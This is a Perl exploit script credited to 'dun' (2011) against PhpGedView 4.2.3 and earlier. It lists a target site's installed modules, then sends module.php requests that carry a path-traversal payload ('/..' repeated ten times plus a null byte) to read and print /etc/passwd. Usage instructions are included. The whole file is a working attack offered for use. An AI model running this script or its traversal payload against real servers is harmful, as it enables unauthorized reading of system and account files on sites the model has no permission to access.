129 lines
No EOL
3.1 KiB
Perl
Executable file
129 lines
No EOL
3.1 KiB
Perl
Executable file
#!/usr/bin/perl -w
|
|
|
|
# :::::::-. ... ::::::. :::.
|
|
# ;;, `';, ;; ;;;`;;;;, `;;;
|
|
# `[[ [[[[' [[[ [[[[[. '[[
|
|
# $$, $$$$ $$$ $$$ "Y$c$$
|
|
# 888_,o8P'88 .d888 888 Y88
|
|
# MMMMP"` "YmmMMMM"" MMM YM
|
|
# [ Discovered by dun \ posdub[at]gmail.com ]
|
|
#
|
|
##################################################################
|
|
# [ PhpGedView <= 4.2.3 ] Local File Inclusion Vulnerability #
|
|
##################################################################
|
|
#
|
|
# Script: "PhpGedView is a revolutionary genealogy program which
|
|
# allows you to view and edit your genealogy on your website..."
|
|
#
|
|
# Script: http://www.phpgedview.net/
|
|
# Download: http://sourceforge.net/projects/phpgedview/
|
|
#
|
|
# Usage: perl expl.pl http://site.com/phpgedview/
|
|
#
|
|
##################################################################
|
|
#[ dun / 2011-01-05 ]
|
|
|
|
use IO::Socket;
|
|
use Socket;
|
|
use IO::Select;
|
|
|
|
|
|
my @modules;
|
|
|
|
if(scalar(@ARGV) < 1) {
|
|
print "\nUsage: perl expl.pl http://site.com/phpgedview/\n\n";
|
|
exit;
|
|
}
|
|
|
|
print "\033[32m[1] \033[0mChecking installed PGV modules..\n";
|
|
@modules=get_modules_list($ARGV[0].'/modules/');
|
|
print "\033[32m[2] \033[0mTrying to read /etc/passwd file..\n";
|
|
p(\@modules, $ARGV[0].'/', '/etc/passwd');
|
|
|
|
sub http_query {
|
|
|
|
my $page="";
|
|
my $url=$_[0];
|
|
my $ua="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)";
|
|
if(defined($_[1]) && defined($_[2])) {
|
|
$host=$_[1];
|
|
$port=$_[2];
|
|
$get="GET $url HTTP/1.0\r\n$ua\r\nConnection: Close\r\n\r\n";
|
|
} else {
|
|
$port=80;
|
|
$url=~s/http:\/\///;
|
|
$host=$url;
|
|
$query=$url;
|
|
$host=~s/([a-zA-Z0-9\.]+)\/.*/$1/;
|
|
$query=~s/$host//;
|
|
if ($query eq "") {$query="/";};
|
|
|
|
$get="GET $query HTTP/1.0\r\nHost: $host\r\n$ua\r\nConnection: Close\r\n\r\n";
|
|
}
|
|
my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"$port",Proto=>"tcp",Timeout => 3) or return;
|
|
print $sock $get;
|
|
my @r = <$sock>;
|
|
$page="@r";
|
|
close($sock);
|
|
|
|
return $page;
|
|
}
|
|
|
|
sub get_modules_list {
|
|
my $host = $_[0];
|
|
my $page="";
|
|
my @modules1=(
|
|
"FCKeditor",
|
|
"GEDFact_assistant",
|
|
"JWplayer",
|
|
"batch_update",
|
|
"cms_interface",
|
|
"gallery2",
|
|
"googlemap",
|
|
"lightbox",
|
|
"punbb",
|
|
"research_assistant",
|
|
"sitemap",
|
|
"slideshow",
|
|
"wordsearch"
|
|
);
|
|
|
|
$page = http_query($host);
|
|
while($page =~ m/(.*)<(a|A)\s(href|HREF)="([^\/]+)\/">/g){
|
|
push (@modules2, $4);
|
|
}
|
|
if(@modules2) {
|
|
print " Installed modules: @modules2\n";
|
|
return @modules2;
|
|
} else {
|
|
print " No info about installed modules..\n";
|
|
return @modules1;
|
|
}
|
|
}
|
|
|
|
sub p {
|
|
my($mods, $host, $file)=@_;
|
|
my $page="";
|
|
foreach $r(@{$mods}) {
|
|
$q="$host"."module.php?mod=$r&pgvaction=".("/.."x10)."$file%00";
|
|
$page=http_query($q);
|
|
@lines = split (/\n/, $page);
|
|
if($page=~ m/(.+):.:\d+:\d+:(.*):\/(.+):\/(.*)/g){
|
|
print "\033[32mModule: $r\n";
|
|
print "Adress: $q\n";
|
|
print "File: /etc/passwd:\033[0m (Press ENTER) ";
|
|
if(<STDIN>) {
|
|
print "\n\n";
|
|
for(@lines) {
|
|
if($_=~ m/(.+):.:\d+:\d+:(.*):\/(.+):\/(.*)/g){
|
|
print $_."\n";
|
|
}
|
|
}
|
|
}
|
|
return 0;
|
|
}
|
|
}
|
|
print "\033[31mFailed :(\033[0m\n"
|
|
}
|
|
|
|
################################################################## |